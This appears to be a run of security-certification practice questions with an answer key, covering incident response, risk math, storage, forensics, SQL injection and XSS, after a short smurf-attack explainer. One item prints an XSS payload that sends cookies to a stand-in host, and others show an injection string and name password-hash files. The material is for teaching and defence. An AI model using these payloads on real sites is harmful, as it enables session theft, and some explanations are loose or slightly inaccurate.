A smurf attack is a type of network security breach in which a network connected to the Internet is swamped with replies to ICMP echo (PING) requests. A smurf attacker sends PING requests to an Internet broadcast address. These are special addresses that broadcast all received messages to the hosts connected to the subnet. Each broadcast address can support up to 255 hosts, so a single PING request can be multiplied 255 times. The return address of the request itself is spoofed to be the address of the attacker's victim. All the hosts receiving the PING request reply to this victim's address instead of the real sender's address. A single attacker sending hundreds or thousands of these PING messages per second can fill the victim's T-1 (or even T-3) line with ping replies, bring the entire Internet service to its knees.

Smurfing falls under the general category of Denial of Service attacks -- security attacks that don't try to steal information, but instead attempt to disable a computer or network.

139. The IT Security Analyst for a small organization is working on a customer's system and identifies a possible intrusion in a database that contains PII. Since PII is involved, the analyst wants to get the issue addressed as soon as possible. Which of the following is the FIRST step the analyst should take in mitigating the impact of the potential intrusion?

A. Contact the local authorities so an investigation can be started as quickly as possible.

B. Shut down the production network interfaces on the server and change all of the DBMS account passwords.

C. Disable the front-end web server and notify the customer by email to determine how the customer would like to proceed.

D. Refer the issue to management for handling according to the incident response process.

Answer: D. The database contains PII (personally identifiable information) so the natural response is to want to get the issue addressed as soon as possible. However, in this question we have an IT Security Analyst working on a customer's system. Therefore, this IT Security Analyst does not know what the customer's incident response process is. In this case, the IT Security Analyst should refer the issue to company management so they can handle the issue (with your help if required) according to their incident response procedures.

140. security analyst has been asked to develop a quantitative risk analysis and risk assessment for the company's online shopping application. Based on heuristic information from the Security Operations Center (SOC), a Denial of Service Attack (DoS) has been successfully executed 5 times a year. The Business Operations department has determined the loss associated to each attack is $40,000. After implementing application caching, the number of DoS attacks was reduced to one time a year. The cost of the countermeasures was $100,000. Which of the following is the monetary value earned during the first year of operation?

A.$60,000

B.$100,000

C.$140,000

D.$200,000

Answer:A. ALE before implementing application caching:

ALE = ARO x SLE

ALE = 5 x $40,000

ALE = $200,000

ALE after implementing application caching:

ALE = ARO x SLE

ALE = 1 x $40,000

ALE = $40,000

The monetary value earned would be the sum of subtracting the ALE calculated after implementing application caching and the cost of the countermeasures, from the ALE calculated before implementing application caching.

Monetary value earned = $200,000 - $40,000 - $100,000

Monetary value earned = $60,000

141. A developer is determining the best way to improve security within the code being developed. The developer is focusing on input fields where customers enter their credit card details. Which of the following techniques, if implemented in the code, would be the MOST effective in protecting the fields from malformed input?

A.Client side input validation

B.Stored procedure

C.Encrypting credit card details

D.Regular expression matching

Answer: D. Regular expression matching is a technique for reading and validating input, particularly in web software. This question is asking about securing input fields where customers enter their credit card details. In this case, the expected input into the credit card number field would be a sequence of numbers of a certain length. We can use regular expression matching to verify that the input is indeed a sequence of numbers. Anything that is not a sequence of numbers could be malicious code.

142. A security administrator wants to deploy a dedicated storage solution which is inexpensive, can natively integrate with AD, allows files to be selectively encrypted and is suitable for a small number of users at a satellite office. Which of the following would BEST meet the requirement?

A. SAN

B. NAS

C. Virtual SAN

D. Virtual storage

Answer: B. A NAS is an inexpensive storage solution suitable for small offices. Individual files can be encrypted by using the EFS (Encrypted File System) functionality provided by the NTFS file system.

NAS typically uses a common Ethernet network and can provide storage services to any authorized devices on that network.

Two primary NAS protocols are used in most environments. The choice of protocol depends largely on the type of computer or server connecting to the storage. Network File System (NFS) protocol usually used by servers to access storage in a NAS environment. Common Internet File System (CIFS), also sometimes called Server Message Block (SMB), is usually used for desktops, especially those running Microsoft Windows.

Unlike DAS and SAN, NAS is a file-level storage technology. This means the NAS appliance maintains and controls the files, folder structures, permission, and attributes of the data it holds. A typical NAS deployment integrates the NAS appliance with a user database, such as Active Directory, so file permissions can be assigned based on established users and groups. With Active Directory integration, most Windows New Technology File System (NTFS) permissions can be set on the files contained on a NAS device.

143. A security administrator is shown the following log excerpt from a Unix system:

2013 Oct 10 07:14:57 web14 sshd[1632]: Failed password for root from 198.51.100.23 port 37914 ssh2 2013 2013Oct 10 07:14:57 web14 sshd[1635]: Failed password for root from 198.51.100.23 port 37915 ssh2 2013 Oct 10 07:14:58 web14 sshd[1638]: Failed password for root from 198.51.100.23 port 37916 ssh2 Oct 10 07:15:59 web14 sshd[1640]: Failed password for root from 198.51.100.23 port 37918 ssh2 2013 Oct 10 07:16:00 web14 sshd[1641]: Failed password for root from 198.51.100.23 port 37920 ssh2 2013 Oct 10 07:16:00 web14 sshd[1642]: Successful login for root from 198.51.100.23 port 37924 ssh2

Which of the following is the MOST likely explanation of what is occurring and the BEST immediate response? (Select TWO).

A. An authorized administrator has logged into the root account remotely.

B. The administrator should disable remote root logins.

C. Isolate the system immediately and begin forensic analysis on the host.

D. A remote attacker has compromised the root account using a buffer overflow in sshd.

E. A remote attacker has guessed the root password using a dictionary attack.

F. Use iptables to immediately DROP connections from the IP 198.51.100.23.

G. A remote attacker has compromised the private key of the root account.

H. Change the root password immediately to a password not found in a dictionary.

Answer: C, E. The log shows six attempts to log in to a system. The first five attempts failed due to 'failed password'. The sixth attempt was a successful login. Therefore, the MOST likely explanation of what is occurring is that a remote attacker has guessed the root password using a dictionary attack.

The BEST immediate response is to isolate the system immediately and begin forensic analysis on the host. You should isolate the system to prevent any further access to it and prevent it from doing any damage to other systems on the network. You should perform a forensic analysis on the system to determine what the attacker did on the system after gaining access

143. A forensic analyst receives a hard drive containing malware quarantined by the antivirus application. After creating an image and determining the directory location of the malware file, which of the following helps to determine when the system became infected?

A. The malware file's modify, access, change time properties.

B. The timeline analysis of the file system.

C. The time stamp of the malware in the swap file.

D. The date/time stamp of the malware detection in the antivirus logs.

Answer: B. Timelines can be used in digital forensics to identify when activity occurred on a computer. Timelines are mainly used for data reduction or identifying specific state changes that have occurred on a computer.

144. A member of the software development team has requested advice from the security team to implement a new secure lab for testing malware. Which of the following is the NEXT step that the security team should take?

A. Purchase new hardware to keep the malware isolated.

B. Develop a policy to outline what will be required in the secure lab.

C. Construct a series of VMs to host the malware environment.

D. Create a proposal and present it to management for approval.

Answer: D. Before we can create a solution, we need to motivate why the solution needs to be created and plan the best implementation with in the company's business operations. We therefore need to create a proposal that explains the intended implementation and allows for the company to budget for it.

145. A security consultant is conducting a network assessment and wishes to discover any legacy backup Internet connections the network may have. Where would the consultant find this information and why would it be valuable?

A. This information can be found in global routing tables, and is valuable because backup connections typically do not have perimeter protection as strong as the primary connection.

B. This information can be found by calling the regional Internet registry, and is valuable because backup connections typically do not require VPN access to the network.

C. This information can be found by accessing telecom billing records, and is valuable because backup connections typically have much lower latency than primary connections.

D. This information can be found by querying the network's DNS servers, and is valuable because backup DNS servers typically allow recursive queries from Internet hosts.

Answer: A. A routing table is a set of rules, often viewed in table format that is used to determine where data packets traveling over an Internet Protocol (IP) network will be directed. All IP-enabled devices, including routers and switches, use routing tables. Each packet contains information about its origin and destination. When a packet is received, a network device examines the packet and matches it to the routing table entry providing the best match for its destination. The table then provides the device with instructions for sending the packet to the next hop on its route across the network. Thus the security consultant can use the global routing table to get the appropriate information.

146. A security administrator is assessing a new application. The application uses an API that is supposed to encrypt text strings that are stored in memory. How might the administrator test that the strings are indeed encrypted in memory?

A. Use fuzzing techniques to examine application inputs

B. Run nmap to attach to application memory

C. Use a packet analyzer to inspect the strings

D. Initiate a core dump of the application

E. Use an HTTP interceptor to capture the text strings

Answer: D. Applications store information in memory and this information include sensitive data, passwords, and usernames and encryption keys. Conducting memory/core dumping will allow you to analyze the memory content and then you can test that the strings are indeed encrypted.

147. During a recent audit of servers, a company discovered that a network administrator, who required remote access, had deployed an unauthorized remote access application that communicated over common ports already allowed through the firewall. A network scan showed that this remote access application had already been installed on one third of the servers in the company. Which of the following is the MOST appropriate action that the company should take to provide a more appropriate solution?

A. Implement an IPS to block the application on the network

B. Implement the remote application out to the rest of the servers

C. Implement SSL VPN with SAML standards for federation

D. Implement an ACL on the firewall with NAT for remote access

Answer: C. A Secure Sockets Layer (SSL) virtual private network (VPN) would provide the network administrator who requires remote access a secure and reliable method of accessing the system over the Internet. Security Assertion Markup Language (SAML) standards for federation will provide cross-web service authentication and authorization.

148. During an incident involving the company main database, a team of forensics experts is hired to respond to the breach. The team is in charge of collecting forensics evidence from the company's database server. Which of the following is the correct order in which the forensics team should engage?

A. Notify senior management, secure the scene, capture volatile storage, capture non-volatile storage, implement chain of custody, and analyze original media.

B. Take inventory, secure the scene, capture RAM, capture hard drive, implement chain of custody, document, and analyze the data.

C. Implement chain of custody, take inventory, secure the scene, capture volatile and non-volatile storage, and document the findings.

D. Secure the scene, take inventory, capture volatile storage, capture non-volatile storage, document, and implement chain of custody.

Answer: D. The scene has to be secured first to prevent contamination. Once a forensic copy has been created, an analyst will begin the process of moving from most volatile to least volatile information. The chain of custody helps to protect the integrity and reliability of the evidence by keeping an evidence log that shows all access to evidence, from collection to appearance in court.

149. A security analyst, Ann, states that she believes Internet facing file transfer servers are being attacked. Which of the following is evidence that would aid Ann in making a case to management that action needs to be taken to safeguard these servers?

A. Provide a report of all the IP addresses that are connecting to the systems and their locations

B. Establish alerts at a certain threshold to notify the analyst of high activity

C. Provide a report showing the file transfer logs of the servers

D. Compare the current activity to the baseline of normal activity

Answer: D. In risk assessment a baseline forms the foundation for how an organization needs to increase or enhance its current level of security. This type of assessment will provide Ann with the necessary information to take to management.

150. A developer has implemented a piece of client-side JavaScript code to sanitize a user's provided input to a web page login screen. The code ensures that only the upper case and lower case letters are entered in the username field, and that only a 6-digit PIN is entered in the password field. A security administrator is concerned with the following web server log:

10.235.62.11 – - [02/Mar/2014:06:13:04] "GET /site/script.php?user=admin&pass=pass%20or%201=1 HTTP/1.1" 200 5724

Given this log, which of the following is the security administrator concerned with and which fix should be implemented by the developer?

A. The security administrator is concerned with nonprintable characters being used to gain administrative access, and the developer should strip all nonprintable characters.

B. The security administrator is concerned with XSS, and the developer should normalize Unicode characters on the browser side.

C. The security administrator is concerned with SQL injection, and the developer should implement server side input validation.

D. The security administrator is concerned that someone may log on as the administrator, and the developer should ensure strong passwords are enforced.

Answer:C. The code in the question is an example of a SQL Injection attack. The code '1=1' will always provide a value of true. This can be included in statement designed to return all rows in a SQL table.

In this question, the administrator has implemented client-side input validation. Client-side validation can be bypassed. It is much more difficult to bypass server-side input validation.

SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

151. A security administrator notices the following line in a server's security log:

<input name='credentials' type='TEXT' value='" + request.getParameter('><script>document.location='http://badsite.com/?q='document.cookie</script>') + "';

The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server. Which of the following should the security administrator implement to prevent this particular attack?

A. WAF

B. Input validation

C. SIEM

D. Sandboxing

E. DAM

Answer: A. The attack in this question is an XSS (Cross Site Scripting) attack. We can prevent this attack by using a Web Application Firewall.

A WAF (Web Application Firewall) protects a Web application by controlling its input and output and the access to and from the application. Running as an appliance, server plug-in or cloud-based service, a WAF inspects every HTML, HTTPS, SOAP and XML-RPC data packet. Through customizable inspection, it is able to prevent attacks such as XSS, SQL injection, session hijacking and buffer overflows, which network firewalls and intrusion detection systems are often not capable of doing. A WAF is also able to detect and prevent new unknown attacks by watching for unfamiliar patterns in the traffic data.

A WAF can be either network-based or host-based and is typically deployed through a proxy and placed in front of one or more Web applications. In real time or near-real time, it monitors traffic before it reaches the Web application, analyzing all requests using a rule base to filter out potentially harmful traffic or traffic patterns. Web application firewalls are a common security control used by enterprises to protect Web applications against zero-day exploits, impersonation and known vulnerabilities and attackers.

152. The administrator is troubleshooting availability issues on an FCoE-based storage array that uses deduplication. The single controller in the storage array has failed, so the administrator wants to move the drives to a storage array from a different manufacturer in order to access the data. Which of the following issues may potentially occur?

A. The data may not be in a usable format.

B. The new storage array is not FCoE based.

C. The data may need a file system check.

D. The new storage array also only has a single controller.

Answer: B. Fibre Channel over Ethernet (FCoE) is a computer network technology that encapsulates Fibre Channel frames over Ethernet networks. This allows Fibre Channel to use 10 Gigabit Ethernet networks (or higher speeds) while preserving the Fibre Channel protocol.

When moving the disks to another storage array, you need to ensure that the array supports FCoE, not just regular Fiber Channel. Fiber Channel arrays and Fiber Channel over Ethernet arrays use different network connections, hardware and protocols. Fiber Channel arrays use the Fiber Channel protocol over a dedicated Fiber Channel network whereas FCoE arrays use the Fiber Channel protocol over an Ethernet network.

153. Company policy requires that all company laptops meet the following baseline requirements:

Software requirements:

Antivirus

Anti-malware

Anti-spyware

Log monitoring

Full-disk encryption

Terminal services enabled for RDP

Administrative access for local users

Hardware restrictions:

Bluetooth disabled

FireWire disabled

WiFi adapter disabled

Ann, a web developer, reports performance issues with her laptop and is not able to access any network resources. After further investigation, a bootkit was discovered and it was trying to access external websites. Which of the following hardening techniques should be applied to mitigate this specific issue from reoccurring? (Select TWO).

A. Group policy to limit web access

B. Restrict VPN access for all mobile users

C. Remove full-disk encryption

D. Remove administrative access to local users

E. Restrict/disable TELNET access to network resources

F. Perform vulnerability scanning on a daily basis

G. Restrict/disable USB access

Answer: D,G. A rootkit is a collection of computer software, typically malicious, designed to enable access to a computer or areas of its software that would not otherwise be allowed (for example, to an unauthorized user) while at the same time masking its existence or the existence of other software. A bootkit is similar to a rootkit except the malware infects the master boot record on a hard disk. Malicious software such as bootkits or rootkits typically require administrative privileges to be installed.

Therefore, one method of preventing such attacks is to remove administrative access for local users.

A common source of malware infections is portable USB flash drives. The flash drives are often plugged into less secure computers such as a user's home computer and then taken to work and plugged in to a work computer. We can prevent this from happening by restricting or disabling access to USB devices.

154. The Chief Executive Officer (CEO) of a company that allows telecommuting has challenged the Chief Security Officer's (CSO) request to harden the corporate network's perimeter. The CEO argues that the company cannot protect its employees at home, so the risk at work is no different. Which of the following BEST explains why this company should proceed with protecting its corporate network boundary?

A. The corporate network is the only network that is audited by regulators and customers.

B. The aggregation of employees on a corporate network makes it a more valuable target for attackers.

C. Home networks are unknown to attackers and less likely to be targeted directly.

D. Employees are more likely to be using personal computers for general web browsing when they are at home

Answer: B. Data aggregation is any process in which information is gathered and expressed in a summary form, for purposes such as statistical analysis. Data aggregation increases the impact and scale of a security breach. The amount of data aggregation on the corporate network is much more that on an employee's home network, and is therefore more valuable.

155. An organization uses IP address block 203.0.113.0/24 on its internal network. At the border router, the network administrator sets up rules to deny packets with a source address in this subnet from entering the network, and to deny packets with a destination address in this subnet from leaving the network. Which of the following is the administrator attempting to prevent?

A. BGP route hijacking attacks

B. Bogon IP network traffic

C. IP spoofing attacks

D. Man-in-the-middle attacks

E. Amplified DDoS attacks

Answer: C. The IP address block 203.0.113.0/24 is used on the internal network. Therefore, there should be no traffic coming into the network claiming to be from an address in the 203.0.113.0/24 range. Similarly, there should be no outbound traffic destined for an address in the 203.0.113.0/24 range. So this has been blocked at the firewall.

This is to protect against IP spoofing attacks where an attacker external to the network sends data claiming to be from an internal computer with an address in the 203.0.113.0/24 range.

IP spoofing, also known as IP address forgery or a host file hijack, is a hijacking technique in which a cracker masquerades as a trusted host to conceal his identity, spoof a Web site, hijack browsers, or gain access to a network. Here's how it works: The hijacker obtains the IP address of a legitimate host and alters packet headers so that the legitimate host appears to be the source.

When IP spoofing is used to hijack a browser, a visitor who types in the URL (Uniform Resource Locator) of a legitimate site is taken to a fraudulent Web page created by the hijacker. For example, if the hijacker spoofed the Library of Congress Web site, then any Internet user who typed in the URL www.loc.gov would see spoofed content created by the hijacker.

If a user interacts with dynamic content on a spoofed page, the hijacker can gain access to sensitive information or computer or network resources. He could steal or alter sensitive data, such as a credit card number or password, or install malware. The hijacker would also be able to take control of a compromised computer to use it as part of a zombie army in order to send out spam

156. Since the implementation of IPv6 on the company network, the security administrator has been unable to identify the users associated with certain devices utilizing IPv6 addresses, even when the devices are centrally managed.

en1: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500

ether f8:1e:af:ab:10:a3

inet6 fw80::fa1e:dfff:fee6:9d8%en1 prefixlen 64 scopeid 0x5

inet 192.168.1.14 netmask 0xffffff00 broadcast 192.168.1.255

inet6 2001:200:5:922:1035:dfff:fee6:9dfe prefixlen 64 autoconf

inet6 2001:200:5:922:10ab:5e21:aa9a:6393 prefixlen 64 autoconf temporary

nd6 options=1<PERFORMNUD>

media: autoselect

status: active

Given this output, which of the following protocols is in use by the company and what can the system administrator do to positively map users with IPv6 addresses in the future? (Select TWO).

A. The devices use EUI-64 format

B. The routers implement NDP

C. The network implements 6to4 tunneling

D. The router IPv6 advertisement has been disabled

E. The administrator must disable IPv6 tunneling

F. The administrator must disable the mobile IPv6 router flag

G. The administrator must disable the IPv6 privacy extensions

H. The administrator must disable DHCPv6 option code 1

Answer: B, G. IPv6 makes use of the Neighbor Discovery Protocol (NDP). Thus if your routers implement NDP you will be able to map users with IPv6 addresses. However to be able to positively map users with IPv6 addresses you will need to disable IPv6 privacy extensions.

157. The Chief Executive Officer (CEO) of a large prestigious enterprise has decided to reduce business costs by outsourcing to a third party company in another country. Functions to be outsourced include: business analysts, testing, software development and back office functions that deal with the processing of customer data. The Chief Risk Officer (CRO) is concerned about the outsourcing plans. Which of the following risks are MOST likely to occur if adequate controls are not implemented?

A. Geographical regulation issues, loss of intellectual property and interoperability agreement issues

B. Improper handling of client data, interoperability agreement issues and regulatory issues

C. Cultural differences, increased cost of doing business and divestiture issues

D. Improper handling of customer data, loss of intellectual property and reputation damage

Answer: D. The risk of security violations or compromised intellectual property (IP) rights is inherently elevated when working internationally. A key concern with outsourcing arrangements is making sure that there is sufficient protection and security in place for personal information being transferred and/or accessed under an outsourcing agreement

158. Company XYZ finds itself using more cloud-based business tools, and password management is becoming onerous. Security is important to the company; as a result, password replication and shared accounts are not acceptable. Which of the following implementations addresses the distributed login with centralized authentication and has wide compatibility among SaaS vendors?

A. Establish a cloud-based authentication service that supports SAML.

B. Implement a new Diameter authentication server with read-only attestation.

C. Install a read-only Active Directory server in the corporate DMZ for federation.

D. Allow external connections to the existing corporate RADIUS server.

Answer: A. There is widespread adoption of SAML standards by SaaS vendors for single sign-on identity management, in response to customer demands for fast, simple and secure employee, customer and partner access to applications in their environments.

By eliminating all passwords and instead using digital signatures for authentication and authorization of data access, SAML has become the Gold Standard for single sign-on into cloud applications. SAML-enabled SaaS applications are easier and quicker to user provision in complex enterprise environments, are more secure and help simplify identity management across large and diverse user communities.

Security Assertion Markup Language (SAML) is an XML-based, open-standard data format for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider.

The SAML specification defines three roles: the principal (typically a user), the Identity provider (IdP), and the service provider (SP). In the use case addressed by SAML, the principal requests a service from the service provider. The service provider requests and obtains an identity assertion from the identity provider. On the basis of this assertion, the service provider can make an access control decision – in other words it can decide whether to perform some service for the connected principal.

159. Company ABC's SAN is nearing capacity, and will cause costly downtimes if servers run out disk space. Which of the following is a more cost effective alternative to buying a new SAN?

A. Enable multipath to increase availability

B. Enable deduplication on the storage pools

C. Implement snapshots to reduce virtual disk size

D. Implement replication to offsite datacenter

Answer: B. Storage-based data deduplication reduces the amount of storage needed for a given set of files. It is most effective in applications where many copies of very similar or even identical data are stored on a single disk.

It is common for multiple copies of files to exist on a SAN. By eliminating (deduplicating) repeated copies of the files, we can reduce the disk space used on the existing SAN. This solution is a cost effective alternative to buying a new SAN.

160. A large company is preparing to merge with a smaller company. The smaller company has been very profitable, but the smaller company's main applications were created in-house. Which of the following actions should the large company's security administrator take in preparation for the merger?

A. A review of the mitigations implemented from the most recent audit findings of the smaller company should be performed.

B. An ROI calculation should be performed to determine which company's application should be used.

C. A security assessment should be performed to establish the risks of integration or co-existence.

D. A regression test should be performed on the in-house software to determine security risks associated with the software.

Answer: C. With any merger regardless of the monetary benefit there is always security risks and prior to the merger the security administrator should assess the security risks to as to mitigate these.

161. The Information Security Officer (ISO) is reviewing new policies that have been recently made effective and now apply to the company. Upon review, the ISO identifies a new requirement to implement two-factor authentication on the company's wireless system. Due to budget constraints, the company will be unable to implement the requirement for the next two years. The ISO is required to submit a policy exception form to the Chief Information Officer (CIO). Which of the following are MOST important to include when submitting the exception form? (Select THREE).

A. Business or technical justification for not implementing the requirements.

B. Risks associated with the inability to implement the requirements.

C. Industry best practices with respect to the technical implementation of the current controls.

D. All sections of the policy that may justify non-implementation of the requirements.

E. A revised DRP and COOP plan to the exception form.

F. Internal procedures that may justify a budget submission to implement the new requirement.

G. Current and planned controls to mitigate the risks.

Answers: A, B, G. The Exception Request must include:

A description of the non-compliance.

The anticipated length of non-compliance (2-year maximum).

The proposed assessment of risk associated with non-compliance.

The proposed plan for managing the risk associated with non-compliance.

The proposed metrics for evaluating the success of risk management (if risk is significant).

The proposed review date to evaluate progress toward compliance.

An endorsement of the request by the appropriate Information Trustee (VP or Dean).

162. A storage as a service company implements both encryption at rest as well as encryption in transit of customers' data. The security administrator is concerned with the overall security of the encrypted customer data stored by the company servers and wants the development team to implement a solution that will strengthen the customer's encryption key. Which of the following, if implemented, will MOST increase the time an offline password attack against the customers' data would take?

A. key = NULL ; for (int i=0; i<5000; i++) { key = sha(key + password) }

B. password = NULL ; for (int i=0; i<10000; i++) { password = sha256(key) }

C. password = password + sha(password+salt) + aes256(password+salt)

D. key = aes128(sha256(password), password))

Answers: A. References:

http://

stackoverflow.com/questions/4948322/fundamental-difference-between-hashing-and-encryption-algorithms

163. The security engineer receives an incident ticket from the helpdesk stating that DNS lookup requests are no longer working from the office. The network team has ensured that Layer 2 and Layer 3 connectivity are working. Which of the following tools would a security engineer use to make sure the DNS server is listening on port 53?

A. PING

B. NESSUS

C. NSLOOKUP

D. NMAP

Answers: D. NMAP works as a port scanner and is used to check if the DNS server is listening on port 53.

164. Company XYZ has purchased and is now deploying a new HTML5 application. The company wants to hire a penetration tester to evaluate the security of the client and server components of the proprietary web application before launch. Which of the following is the penetration tester MOST likely to use while performing black box testing of the security of the company's purchased application? (Select TWO).

A. Code review
B. Sandbox
C. Local proxy
D. Fuzzer
E. Port scanner

Answer: C, D.

C: Local proxy will work by proxying traffic between the web client and the web server. This is a tool that can be put to good effect in this case.

D: Fuzzing is another form of blackbox testing and works by feeding a program multiple input iterations that are specially written to trigger an internal error that might indicate a bug and crash it.

165. An insurance company has an online quoting system for insurance premiums. It allows potential customers to fill in certain details about their car and obtain a quote. During an investigation, the following patterns were detected:

Pattern 1 – Analysis of the logs identifies that insurance premium forms are being filled in but only single fields are incrementally being updated.

Pattern 2 – For every quote completed, a new customer number is created; due to legacy systems, customer numbers are running out.

Which of the following is the attack type the system is susceptible to, and what is the BEST way to defend against it? (Select TWO).

A. Apply a hidden field that triggers a SIEM alert
B. Cross site scripting attack
C. Resource exhaustion attack
D. Input a blacklist of all known BOT malware IPs into the firewall

E. SQL injection

F. Implement an inline WAF and integrate into SIEM

G. Distributed denial of service

H. Implement firewall rules to block the attacking IP addresses

Answer: C, F. A resource exhaustion attack involves tying up predetermined resources on a system, thereby making the resources unavailable to others.

Implementing an inline WAF would allow for protection from attacks, as well as log and alert admins to what's going on. Integrating in into SIEM allows for logs and other security-related documentation to be collected for analysis.

166. Company policy requires that all unsupported operating systems be removed from the network. The security administrator is using a combination of network based tools to identify such systems for the purpose of disconnecting them from the network. Which of the following tools, or outputs from the tools in use, can be used to help the security administrator make an approximate determination of the operating system in use on the local company network? (Select THREE).

A. Passive banner grabbing

B. Password cracker

C. http://www.company.org/documents_private/index.php?search=string#&topic=windows&tcp=packet%20capture&cookie=wokdjwalkjcnie61lkasdf2aliser4

D. 443/tcp open http

E. dig host.company.com

F. 09:18:16.262743 IP (tos 0x0, ttl 64, id 9870, offset 0, flags [none], proto TCP (6), length 40) 192.168.1.3.1051 > 10.46.3.7.80: Flags [none], cksum 0x1800 (correct), win 512, length 0

G. Nmap

Answer: A, F, G. Banner grabbing and operating system identification can also be defined as fingerprinting the TCP/IP stack. Banner grabbing is the process of opening a connection and reading the banner or response sent by the application.

The output displayed in option F includes information commonly examined to fingerprint the OS. Nmap provides features that include host discovery, as well as service and operating system detection.

167. An administrator is tasked with securing several website domains on a web server. The administrator elects to secure www.example.com, mail.example.org, archive.example.com, and www.example.org with the same certificate. Which of the following would allow the administrator to secure those domains with a single issued certificate?

A. Intermediate Root Certificate

B. Wildcard Certificate

C. EV x509 Certificate

D. Subject Alternative Names Certificate

Answer: D. Subject Alternative Names let you protect multiple host names with a single SSL certificate. Subject Alternative Names allow you to specify a list of host names to be protected by a single SSL certificate.

When you order the certificate, you will specify one fully qualified domain name in the common name field. You can then add other names in the Subject Alternative Names field.

168. ABC Corporation has introduced token-based authentication to system administrators due to the risk of password compromise. The tokens have a set of HMAC counter-based codes and are valid until they are used. Which of the following types of authentication mechanisms does this statement describe?

A. TOTP

B. PAP

C. CHAP

D. HOTP

Answer: D. The question states that the HMAC counter-based codes and are valid until they are used. These are "one-time" use codes.

HOTP is an HMAC-based one-time password (OTP) algorithm.

HOTP can be used to authenticate a user in a system via an authentication server. Also, if some more steps are carried out (the server calculates subsequent OTP value and sends/displays it to the user who checks it against subsequent OTP value calculated by his token), the user can also authenticate the validation server.

Both hardware and software tokens are available from various vendors. Hardware tokens implementing OATH HOTP tend to be significantly cheaper than their competitors based on proprietary algorithms. Some products can be used for strong passwords as well as OATH HOTP.

Software tokens are available for (nearly) all major mobile/smartphone platforms.

169. A web services company is planning a one-time high-profile event to be hosted on the corporate website. An outage, due to an attack, would be publicly embarrassing, so Joe, the Chief Executive Officer (CEO), has requested that his security engineers put temporary preventive controls in place. Which of the following would MOST appropriately address Joe's concerns?

A. Ensure web services hosting the event use TCP cookies and deny_hosts.

B. Configure an intrusion prevention system that blocks IPs after detecting too many incomplete sessions.

C. Contract and configure scrubbing services with third-party DDoS mitigation providers.

D. Purchase additional bandwidth from the company's Internet service provider.

Answer:C. Scrubbing is an excellent way of dealing with this type of situation where the company wants to stay connected no matter what during the one-time high profile event. It involves deploying a multi-layered security approach backed by extensive threat research to defend against a variety of attacks with a guarantee of always-on.

170. After a security incident, an administrator would like to implement policies that would help reduce fraud and the potential for collusion between employees. Which of the following would help meet these goals by having co-workers occasionally audit another worker's position?

A. Least privilege

B. Job rotation

C. Mandatory vacation

D. Separation of duties

Answer: B. Job rotation can reduce fraud or misuse by preventing an individual from having too much control over an area.

171. An administrator has enabled salting for users' passwords on a UNIX box. A penetration tester must attempt to retrieve password hashes. Which of the following files must the penetration tester use to eventually obtain passwords on the system? (Select TWO).

A. /etc/passwd

B. /etc/shadow

C. /etc/security

D. /etc/password

E. /sbin/logon

F. /bin/bash

Answer: A, B. In cryptography, a salt is random data that is used as an additional input to a one-way function that hashes a password or passphrase. In this question, enabling salting for users' passwords means to store the passwords in an encrypted format.

Traditional Unix systems keep user account information, including one-way encrypted passwords, in a text file called ``/etc/passwd". As this file is used by many tools (such as ``ls") to display file ownerships, etc. by matching user id #'s with the user's names, the file needs to be world-readable. Consequentially, this can be somewhat of a security risk.

Another method of storing account information is with the shadow password format. As with the traditional method, this method stores account information in the /etc/passwd file in a compatible format. However, the password is stored as a single "x" character (ie. not actually stored in this file). A second file, called ``/etc/shadow", contains encrypted password as well as other information such as account or password expiration values, etc.

172. Joe, a penetration tester, is tasked with testing the security robustness of the protocol between a mobile web application and a RESTful application server. Which of the following security tools would be required to assess the security between the mobile web application and the RESTful application server? (Select TWO).

A. Jailbroken mobile device

B. Reconnaissance tools

C. Network enumerator

D. HTTP interceptor

E. Vulnerability scanner

F. Password cracker

Answer: D, E. Communications between a mobile web application and a RESTful application server will use the HTTP protocol. To capture the HTTP communications for analysis, you should use an HTTP Interceptor. To assess the security of the application server itself, you should use a vulnerability scanner.

A vulnerability scan is the automated process of proactively identifying security vulnerabilities of computing systems in a network in order to determine if and where a system can be exploited and/or threatened. While public servers are

important for communication and data transfer over the Internet, they open the door to potential security breaches by threat agents, such as malicious hackers.

Vulnerability scanning employs software that seeks out security flaws based on a database of known flaws, testing systems for the occurrence of these flaws and generating a report of the findings that an individual or an enterprise can use to tighten the network's security.

Vulnerability scanning typically refers to the scanning of systems that are connected to the Internet but can also refer to system audits on internal networks that are not connected to the Internet in order to assess the threat of rogue software or malicious employees in an enterprise.

173. A security engineer on a large enterprise network needs to schedule maintenance within a fixed window of time. A total outage period of four hours is permitted for servers. Workstations can undergo maintenance from 8:00 pm to 6:00 am daily. Which of the following can specify parameters for the maintenance work? (Select TWO).

A. Managed security service

B. Memorandum of understanding

C. Quality of service

D. Network service provider

E. Operating level agreement

Answer: B, E.

B: A memorandum of understanding (MOU) documents conditions and applied terms for outsourcing partner organizations that must share data and information resources. It must be signed by a re presentative from each organization that has the legal authority to sign and are typically secured, as they are considered confidential.

E: An operating level agreement (O LA) defines the responsibilities of each partner's internal support group and what group and resources are used to meet the specified goal. It is used in conjunction with service level agreements (SLAs).

174. A small retail company recently deployed a new point of sale (POS) system to all 67 stores. The core of the POS is an extranet site, accessible only from retail stores and the corporate office over a split-tunnel VPN. An additional split-tunnel VPN provides bi-directional connectivity back to the main office, which provides voice connectivity for store VoIP phones. Each store offers guest wireless functionality, as well as employee wireless. Only the staff

wireless network has access to the POS VPN. Recently, stores are reporting poor response times when accessing the POS application from store computers as well as degraded voice quality when making phone calls. Upon investigation, it is determined that three store PCs are hosting malware, which is generating excessive network traffic. After malware removal, the information security department is asked to review the configuration and suggest changes to prevent this from happening again. Which of the following denotes the BEST way to mitigate future malware risk?

A. Deploy new perimeter firewalls at all stores with UTM functionality.

B. Change antivirus vendors at the store and the corporate office.

C. Move to a VDI solution that runs offsite from the same data center that hosts the new POS solution.

D. Deploy a proxy server with content filtering at the corporate office and route all traffic through

Answer: A. A perimeter firewall is located between the local network and the Internet where it can screen network traffic flowing in and out of the organization. A firewall with unified threat management (UTM) functionalities includes anti-malware capabilities.

